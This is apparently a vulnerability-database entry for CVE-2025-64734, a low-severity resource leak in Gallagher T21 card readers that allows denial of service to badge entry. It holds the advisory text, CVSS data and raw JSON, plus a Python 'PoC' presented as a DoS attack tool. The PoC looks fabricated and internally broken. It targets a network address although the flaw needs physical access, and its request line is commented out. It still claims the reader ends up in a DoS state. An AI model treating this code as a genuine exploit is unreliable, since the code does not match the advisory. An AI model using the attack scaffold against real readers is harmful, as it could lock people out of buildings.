Security Vulnerability Report
中文
CVE-2025-64734 CVSS 2.4 LOW

CVE-2025-64734

Published: 2025-11-18 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

Missing Release of Resource after Effective Lifetime (CWE-772) in the T21 Reader allows an attacker with physical access to the Reader to perform a denial-of-service attack against that specific reader, preventing cardholders from badging for entry. This issue affects Command Centre Server: 9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)),  all versions of 9.00 and prior.

CVSS Details

CVSS Score
2.4
Severity
LOW
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Command Centre Server 9.30 < vCR9.30.251028a (9.30.2881 MR3)
Command Centre Server 9.20 < vCR9.20.251028a (9.20.3265 MR5)
Command Centre Server 9.10 < vCR9.10.251028a (9.10.4135 MR8)
Command Centre Server 9.00 及之前所有版本
T21 Reader (所有版本受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64734 PoC - T21 Reader Resource Exhaustion DoS # This PoC demonstrates the resource exhaustion attack on Gallagher T21 Reader # Note: Requires physical access to the Reader device import time import threading class GallagherT21DoS: def __init__(self, reader_ip, reader_port=443): self.reader_ip = reader_ip self.reader_port = reader_port self.attack_thread = None self.running = False def send_malformed_request(self): """ Send malformed card badge requests to trigger resource leak This simulates rapid badge attempts with invalid credentials """ try: # Malformed badge request payload payload = { 'card_id': '\x00' * 64, # Oversized card ID 'timestamp': time.time(), 'request_type': 'badge_verify' } # In real scenario, send to reader endpoint # requests.post(f'https://{self.reader_ip}:{self.reader_port}/api/badge', json=payload) print(f"[*] Sending malformed request to {self.reader_ip}") except Exception as e: print(f"[!] Request failed: {e}") def attack_loop(self): """ Continuous attack loop to exhaust reader resources """ count = 0 while self.running: self.send_malformed_request() count += 1 if count % 100 == 0: print(f"[*] Sent {count} requests...") time.sleep(0.1) # Rapid requests def start_attack(self, duration=300): """ Start the DoS attack for specified duration Args: duration: Attack duration in seconds """ print(f"[*] Starting DoS attack on T21 Reader at {self.reader_ip}") print(f"[*] Attack duration: {duration} seconds") self.running = True self.attack_thread = threading.Thread(target=self.attack_loop) self.attack_thread.start() time.sleep(duration) self.stop_attack() def stop_attack(self): """ Stop the ongoing attack """ print("[*] Stopping attack...") self.running = False if self.attack_thread: self.attack_thread.join() print("[+] Attack stopped. Reader should now be in DoS state.") # Usage example # dos_tool = GallagherT21DoS('192.168.1.100') # dos_tool.start_attack(duration=600) # Run for 10 minutes

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64734", "sourceIdentifier": "[email protected]", "published": "2025-11-18T04:15:44.483", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Release of Resource after Effective Lifetime (CWE-772) in the T21 Reader allows an attacker with physical access to the Reader to perform a denial-of-service attack against that specific reader, preventing cardholders from badging for entry. \n\nThis issue affects Command Centre Server: \n\n9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)),  all versions of 9.00 and prior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-772"}]}], "references": [{"url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-64734", "source": "[email protected]"}]}}